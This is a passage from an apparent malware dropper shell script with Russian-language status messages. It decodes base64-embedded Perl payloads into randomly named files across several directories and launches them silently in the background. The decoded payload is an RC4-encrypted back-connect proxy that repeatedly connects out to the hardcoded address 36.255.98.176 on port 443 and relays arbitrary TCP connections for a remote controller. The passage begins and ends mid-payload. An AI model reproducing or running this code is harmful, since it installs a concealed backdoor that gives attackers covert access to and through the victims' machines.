b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #18 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #18 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 19 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh 